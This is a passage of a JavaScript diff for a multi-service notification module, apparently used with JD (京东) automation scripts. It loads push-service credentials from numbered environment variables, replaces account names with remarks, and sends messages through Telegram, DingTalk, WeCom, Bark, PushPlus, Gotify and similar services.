process.env.TG_PROXY_HOST3; + if (process.env.TG_PROXY_PORT3 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT3; + if (process.env.TG_API_HOST3 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST3; + + if (process.env.DD_BOT_TOKEN3 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN3; + if (process.env.DD_BOT_SECRET3) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET3; + } + } + + if (process.env.QYWX_KEY3 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY3; + } + + if (process.env.QYWX_AM3 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM3; + } + + if (process.env.IGOT_PUSH_KEY3 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY3; + } + + if (process.env.PUSH_PLUS_TOKEN3 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN3; + } + if (process.env.PUSH_PLUS_USER3 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER3; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip3 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip3; + } + if (process.env.PUSH_PLUS_USER_hxtrip3 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip3; + } + if (process.env.GOTIFY_URL3) { + GOTIFY_URL = process.env.GOTIFY_URL3; + } + if (process.env.GOTIFY_TOKEN3) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN3; + } + if (process.env.GOTIFY_PRIORITY3) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY3; + } + break; + + case 4: + //==========================第四套环境变量赋值========================= + + if (process.env.GOBOT_URL4 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL4; + } + if (process.env.GOBOT_TOKEN4 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN4; + } + if (process.env.GOBOT_QQ4 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ4; + } + + if (process.env.PUSH_KEY4 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY4; + } + + if (process.env.WP_APP_TOKEN4 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN4; + } + + if (process.env.WP_TOPICIDS4 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS4; + } + + if (process.env.WP_UIDS4 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS4; + } + + if (process.env.WP_URL4 && Use_WxPusher) { + WP_URL = process.env.WP_URL4; + } + + if (process.env.BARK_PUSH4 && Use_BarkNotify) { + if (process.env.BARK_PUSH4.indexOf('https') > -1 || process.env.BARK_PUSH4.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH4; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH4}`; + } + if (process.env.BARK_SOUND4) { + BARK_SOUND = process.env.BARK_SOUND4; + } + if (process.env.BARK_GROUP4) { + BARK_GROUP = process.env.BARK_GROUP4; + } + } + if (process.env.TG_BOT_TOKEN4 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN4; + } + if (process.env.TG_USER_ID4 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID4; + } + if (process.env.TG_PROXY_AUTH4 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH4; + if (process.env.TG_PROXY_HOST4 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST4; + if (process.env.TG_PROXY_PORT4 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT4; + if (process.env.TG_API_HOST4 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST4; + + if (process.env.DD_BOT_TOKEN4 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN4; + if (process.env.DD_BOT_SECRET4) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET4; + } + } + + if (process.env.QYWX_KEY4 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY4; + } + + if (process.env.QYWX_AM4 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM4; + } + + if (process.env.IGOT_PUSH_KEY4 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY4; + } + + if (process.env.PUSH_PLUS_TOKEN4 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN4; + } + if (process.env.PUSH_PLUS_USER4 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER4; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip4 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip4; + } + if (process.env.PUSH_PLUS_USER_hxtrip4 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip4; + } + if (process.env.GOTIFY_URL4) { + GOTIFY_URL = process.env.GOTIFY_URL4; + } + if (process.env.GOTIFY_TOKEN4) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN4; + } + if (process.env.GOTIFY_PRIORITY4) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY4; + } + break; + + case 5: + //==========================第五套环境变量赋值========================= + + if (process.env.GOBOT_URL5 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL5; + } + if (process.env.GOBOT_TOKEN5 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN5; + } + if (process.env.GOBOT_QQ5 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ5; + } + + if (process.env.PUSH_KEY5 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY5; + } + + if (process.env.WP_APP_TOKEN5 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN5; + } + + if (process.env.WP_TOPICIDS5 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS5; + } + + if (process.env.WP_UIDS5 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS5; + } + + if (process.env.WP_URL5 && Use_WxPusher) { + WP_URL = process.env.WP_URL5; + } + if (process.env.BARK_PUSH5 && Use_BarkNotify) { + if (process.env.BARK_PUSH5.indexOf('https') > -1 || process.env.BARK_PUSH5.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH5; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH5}`; + } + if (process.env.BARK_SOUND5) { + BARK_SOUND = process.env.BARK_SOUND5; + } + if (process.env.BARK_GROUP5) { + BARK_GROUP = process.env.BARK_GROUP5; + } + } + if (process.env.TG_BOT_TOKEN5 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN5; + } + if (process.env.TG_USER_ID5 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID5; + } + if (process.env.TG_PROXY_AUTH5 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH5; + if (process.env.TG_PROXY_HOST5 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST5; + if (process.env.TG_PROXY_PORT5 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT5; + if (process.env.TG_API_HOST5 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST5; + + if (process.env.DD_BOT_TOKEN5 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN5; + if (process.env.DD_BOT_SECRET5) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET5; + } + } + + if (process.env.QYWX_KEY5 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY5; + } + + if (process.env.QYWX_AM5 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM5; + } + + if (process.env.IGOT_PUSH_KEY5 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY5; + } + + if (process.env.PUSH_PLUS_TOKEN5 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN5; + } + if (process.env.PUSH_PLUS_USER5 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER5; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip5 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip5; + } + if (process.env.PUSH_PLUS_USER_hxtrip5 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip5; + } + if (process.env.GOTIFY_URL5) { + GOTIFY_URL = process.env.GOTIFY_URL5; + } + if (process.env.GOTIFY_TOKEN5) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN5; + } + if (process.env.GOTIFY_PRIORITY5) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY5; + } + break; + + case 6: + //==========================第六套环境变量赋值========================= + + if (process.env.GOBOT_URL6 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL6; + } + if (process.env.GOBOT_TOKEN6 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN6; + } + if (process.env.GOBOT_QQ6 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ6; + } + + if (process.env.PUSH_KEY6 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY6; + } + + if (process.env.WP_APP_TOKEN6 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN6; + } + + if (process.env.WP_TOPICIDS6 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS6; + } + + if (process.env.WP_UIDS6 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS6; + } + + if (process.env.WP_URL6 && Use_WxPusher) { + WP_URL = process.env.WP_URL6; + } + if (process.env.BARK_PUSH6 && Use_BarkNotify) { + if (process.env.BARK_PUSH6.indexOf('https') > -1 || process.env.BARK_PUSH6.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH6; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH6}`; + } + if (process.env.BARK_SOUND6) { + BARK_SOUND = process.env.BARK_SOUND6; + } + if (process.env.BARK_GROUP6) { + BARK_GROUP = process.env.BARK_GROUP6; + } + } + if (process.env.TG_BOT_TOKEN6 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN6; + } + if (process.env.TG_USER_ID6 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID6; + } + if (process.env.TG_PROXY_AUTH6 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH6; + if (process.env.TG_PROXY_HOST6 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST6; + if (process.env.TG_PROXY_PORT6 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT6; + if (process.env.TG_API_HOST6 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST6; + + if (process.env.DD_BOT_TOKEN6 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN6; + if (process.env.DD_BOT_SECRET6) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET6; + } + } + + if (process.env.QYWX_KEY6 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY6; + } + + if (process.env.QYWX_AM6 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM6; + } + + if (process.env.IGOT_PUSH_KEY6 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY6; + } + + if (process.env.PUSH_PLUS_TOKEN6 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN6; + } + if (process.env.PUSH_PLUS_USER6 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER6; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip6 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip6; + } + if (process.env.PUSH_PLUS_USER_hxtrip6 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip6; + } + if (process.env.GOTIFY_URL6) { + GOTIFY_URL = process.env.GOTIFY_URL6; + } + if (process.env.GOTIFY_TOKEN6) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN6; + } + if (process.env.GOTIFY_PRIORITY6) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY6; + } + break; + } + + //检查是否在不使用Remark进行名称替换的名单 + const notifySkipRemarkList = process.env.NOTIFY_SKIP_NAMETYPELIST ? process.env.NOTIFY_SKIP_NAMETYPELIST.split('&') : []; + const titleIndex3 = notifySkipRemarkList.findIndex((item) => item === strTitle); + + if (text == "京东到家果园互助码:") { + ShowRemarkType = "1"; + if (desp) { + var arrTemp = desp.split(","); + var allCode = ""; + for (let k = 0; k < arrTemp.length; k++) { + if (arrTemp[k]) { + if (arrTemp[k].substring(0, 1) != "@") + allCode += arrTemp[k] + ","; + } + } + + if (allCode) { + desp += '\n' + '\n' + "ccwav格式化后的互助码:" + '\n' + allCode; + } + } + } + + if (ShowRemarkType != "1" && titleIndex3 == -1) { + console.log("正在处理账号Remark....."); + //开始读取青龙变量列表 + const envs = await getEnvs(); + if (envs[0]) { + for (let i = 0; i < envs.length; i++) { + cookie = envs[i].value; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.nickName = ""; + $.Remark = envs[i].remarks || ''; + $.FoundnickName = ""; + $.FoundPin = ""; + //判断有没有Remark,没有搞个屁,有的继续 + if ($.Remark) { + //先查找缓存文件中有没有这个账号,有的话直接读取别名 + if (envs[i].status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + if ($.nickName) { + console.log("好像是新账号,从接口获取别名" + $.nickName); + } else { + console.log($.UserName + "该账号没有别名....."); + } + tempAddCK = { + "pt_pin": $.UserName, + "nickName": $.nickName + }; + TempCK.push(tempAddCK); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } + } + + $.nickName = $.nickName || $.UserName; + + //这是为了处理ninjia的remark格式 + $.Remark = $.Remark.replace("remark=", ""); + $.Remark = $.Remark.replace(";", ""); + //开始替换内容中的名字 + if (ShowRemarkType == "2") { + $.Remark = $.nickName + "(" + $.Remark + ")"; + } + if (ShowRemarkType == "3") { + $.Remark = $.UserName + "(" + $.Remark + ")"; + } + + try { + //额外处理1,nickName包含星号 + $.nickName = $.nickName.replace(new RegExp(`[*]`, 'gm'), "[*]"); + + text = text.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + desp = desp.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + + //额外处理2,nickName不包含星号,但是确实是手机号 + var tempname = $.UserName; + if (tempname.length == 13 && tempname.substring(8)) { + tempname = tempname.substring(0, 3) + "[*][*][*][*][*]" + tempname.substring(8); + //console.log("额外处理2:"+tempname); + text = text.replace(new RegExp(tempname, 'gm'), $.Remark); + desp = desp.replace(new RegExp(tempname, 'gm'), $.Remark); + } + + } catch (err) { + console.log("替换出错了"); + console.log("Debug Name1 :" + $.UserName); + console.log("Debug Name2 :" + $.nickName); + console.log("Debug Remark :" + $.Remark); + } + + //console.log($.nickName+$.Remark); + + } + + } + + } + console.log("处理完成,开始发送通知..."); + } + } catch (error) { + console.error(error); + } + + if (boolneedUpdate) { + var str = JSON.stringify(TempCK, null, 2); + fs.writeFile(strCKFile, str, function (err) { + if (err) { + console.log(err); + console.log("更新CKName_cache.json失败!"); + } else { + console.log("缓存文件CKName_cache.json更新成功!"); + } + }) + } + + //提供6种通知 + if (strAuthor) + desp += '\n\n本通知 By ' + strAuthor + "\n通知时间: " + GetDateTime(new Date()); + else + desp += author + "\n通知时间: " + GetDateTime(new Date()); + + await serverNotify(text, desp); //微信server酱 + + if (PUSH_PLUS_TOKEN_hxtrip) { + console.log("hxtrip TOKEN :" + PUSH_PLUS_TOKEN_hxtrip); + } + if (PUSH_PLUS_USER_hxtrip) { + console.log("hxtrip USER :" + PUSH_PLUS_USER_hxtrip); + } + PushErrorTime = 0; + await pushPlusNotifyhxtrip(text, desp); //pushplushxtrip(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotifyhxtrip(text, desp); + } + + if (PUSH_PLUS_TOKEN) { + console.log("PUSH_PLUS TOKEN :" + PUSH_PLUS_TOKEN); + } + if (PUSH_PLUS_USER) { + console.log("PUSH_PLUS USER :" + PUSH_PLUS_USER); + } + PushErrorTime = 0; + await pushPlusNotify(text, desp); //pushplus(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + } + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + + } + + //由于上述两种微信通知需点击进去才能查看到详情,故text(标题内容)携带了账号序号以及昵称信息,方便不点击也可知道是哪个京东哪个活动 + text = text.match(/.*?(?=\s?-)/g) ? text.match(/.*?(?=\s?-)/g)[0] : text; + await Promise.all([ + BarkNotify(text, desp, params), //iOS Bark APP + tgBotNotify(text, desp), //telegram 机器人 + ddBotNotify(text, desp), //钉钉机器人 + qywxBotNotify(text, desp), //企业微信机器人 + qywxamNotify(text, desp), //企业微信应用消息推送 + iGotNotify(text, desp, params), //iGot + gobotNotify(text, desp), //go-cqhttp + gotifyNotify(text, desp), //gotify + wxpusherNotify(text, desp) // wxpusher + ]); +} + +async function sendNotifybyWxPucher(text, desp, PtPin, author = '\n\n本通知 By ccwav Mod') { + + try { + var Uid = ""; + var UserRemark = []; + var llShowRemark = "false"; + strAuthor = ""; + if (process.env.NOTIFY_AUTHOR) { + strAuthor = process.env.NOTIFY_AUTHOR; + } + + if (process.env.WP_APP_ONE_TEXTSHOWREMARK) { + llShowRemark = process.env.WP_APP_ONE_TEXTSHOWREMARK; + } + if (WP_APP_TOKEN_ONE) { + if (TempCKUid) { + for (let j = 0; j < TempCKUid.length; j++) { + if (PtPin == decodeURIComponent(TempCKUid[j].pt_pin)) { + Uid = TempCKUid[j].Uid; + } + } + } + if (Uid) { + console.log("查询到Uid :" + Uid); + WP_UIDS_ONE = Uid; + console.log("正在发送一对一通知,请稍后..."); + if (strAuthor) + desp += '\n\n本通知 By ' + strAuthor; + else + desp += author; + + if (llShowRemark == "true") { + //开始读取青龙变量列表 + const envs = await getEnvs(); + if (envs[0]) { + for (let i = 0; i < envs.length; i++) { + cookie = envs[i].value; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if (PtPin != $.UserName) + continue; + $.nickName = ""; + $.Remark = envs[i].remarks || ''; + $.FoundnickName = ""; + $.FoundPin = ""; + //判断有没有Remark,没有搞个屁,有的继续 + if ($.Remark) { + console.log("正在处理账号Remark....."); + //先查找缓存文件中有没有这个账号,有的话直接读取别名 + if (envs[i].status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + if ($.nickName) { + console.log("好像是新账号,从接口获取别名" + $.nickName); + } else { + console.log($.UserName + "该账号没有别名....."); + } + tempAddCK = { + "pt_pin": $.UserName, + "nickName": $.nickName + }; + TempCK.push(tempAddCK); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } + } + + $.nickName = $.nickName || $.UserName; + //这是为了处理ninjia的remark格式 + $.Remark = $.Remark.replace("remark=", ""); + $.Remark = $.Remark.replace(";", ""); + //开始替换内容中的名字 + if (ShowRemarkType == "2") { + $.Remark = $.nickName + "(" + $.Remark + ")"; + } + if (ShowRemarkType == "3") { + $.Remark = $.UserName + "(" + $.Remark + ")"; + } + text = text + " (" + $.Remark + ")"; + //console.log($.nickName+$.Remark); + console.log("处理完成,开始发送通知..."); + } + + } + + } + + } + await wxpusherNotifyByOne(text, desp); + } else { + console.log("未查询到用户的Uid,取消一对一通知发送..."); + } + } else { + console.log("变量WP_APP_TOKEN_ONE未配置WxPusher的appToken, 取消发送..."); + + } + } catch (error) { + console.error(error); + } + +} + +function gotifyNotify(text, desp) { + return new Promise((resolve) => { + if (GOTIFY_URL && GOTIFY_TOKEN) { + const options = { + url: `${GOTIFY_URL}/message?token=${GOTIFY_TOKEN}`, + body: `title=${encodeURIComponent(text)}&message=${encodeURIComponent(desp)}&priority=${GOTIFY_PRIORITY}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('gotify发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.id) { + console.log('gotify发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function gobotNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (GOBOT_URL) { + const options = { + url: `${GOBOT_URL}?access_token=${GOBOT_TOKEN}&${GOBOT_QQ}`, + json: { + message: `${text}\n${desp}` + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送go-cqhttp通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.retcode === 0) { + console.log('go-cqhttp发送通知消息成功🎉\n'); + } else if (data.retcode === 100) { + console.log(`go-cqhttp发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`go-cqhttp发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function serverNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (SCKEY) { + //微信server酱推送通知一个\n不会换行,需要两个\n才能换行,故做此替换 + desp = desp.replace(/[\n\r]/g, '\n\n'); + const options = { + url: SCKEY.includes('SCT') ? `https://sctapi.ftqq.com/${SCKEY}.send` : `https://sc.ftqq.com/${SCKEY}.send`, + body: `text=${text}&desp=${desp}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + //server酱和Server酱·Turbo版的返回json格式不太一样 + if (data.errno === 0 || data.data.errno === 0) { + console.log('server酱发送通知消息成功🎉\n'); + } else if (data.errno === 1024) { + // 一分钟内发送相同的内容会触发 + console.log(`server酱发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`server酱发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function BarkNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (BARK_PUSH) { + const options = { + url: `${BARK_PUSH}/${encodeURIComponent(text)}/${encodeURIComponent( + desp + )}?sound=${BARK_SOUND}&group=${BARK_GROUP}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log('Bark APP发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log('Bark APP发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function tgBotNotify(text, desp) { + return new Promise((resolve) => { + if (TG_BOT_TOKEN && TG_USER_ID) { + const options = { + url: `https://${TG_API_HOST}/bot${TG_BOT_TOKEN}/sendMessage`, + body: `chat_id=${TG_USER_ID}&text=${text}\n\n${desp}&disable_web_page_preview=true`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + if (TG_PROXY_HOST && TG_PROXY_PORT) { + const tunnel = require('tunnel'); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: TG_PROXY_HOST, + port: TG_PROXY_PORT * 1, + proxyAuth: TG_PROXY_AUTH, + }, + }), + }; + Object.assign(options, { + agent + }); + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('telegram发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.ok) { + console.log('Telegram发送通知消息成功🎉。\n'); + } else if (data.error_code === 400) { + console.log('请主动给bot发送一条消息并检查接收用户ID是否正确。\n'); + } else if (data.error_code === 401) { + console.log('Telegram bot token 填写错误。\n'); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function ddBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://oapi.dingtalk.com/robot/send?access_token=${DD_BOT_TOKEN}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (DD_BOT_TOKEN && DD_BOT_SECRET) { + const crypto = require('crypto'); + const dateNow = Date.now(); + const hmac = crypto.createHmac('sha256', DD_BOT_SECRET); + hmac.update(`${dateNow}\n${DD_BOT_SECRET}`); + const result = encodeURIComponent(hmac.digest('base64')); + options.url = `${options.url}×tamp=${dateNow}&sign=${result}`; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else if (DD_BOT_TOKEN) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息完成。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function qywxBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (QYWX_KEY) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('企业微信发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('企业微信发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function ChangeUserId(desp) { + const QYWX_AM_AY = QYWX_AM.split(','); + if (QYWX_AM_AY[2]) { + const userIdTmp = QYWX_AM_AY[2].split('|'); + let userId = ''; + for (let i = 0; i < userIdTmp.length; i++) { + const count = '账号' + (i + 1); + const count2 = '签到号 ' + (i + 1); + if (desp.match(count2)) { + userId = userIdTmp[i]; + } + } + if (!userId) + userId = QYWX_AM_AY[2]; + return userId; + } else { + return '@all'; + } +} + +function qywxamNotify(text, desp) { + return new Promise((resolve) => { + if (QYWX_AM) { + const QYWX_AM_AY = QYWX_AM.split(','); + const options_accesstoken = { + url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`, + json: { + corpid: `${QYWX_AM_AY[0]}`, + corpsecret: `${QYWX_AM_AY[1]}`, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + $.post(options_accesstoken, (err, resp, data) => { + html = desp.replace(/\n/g, '
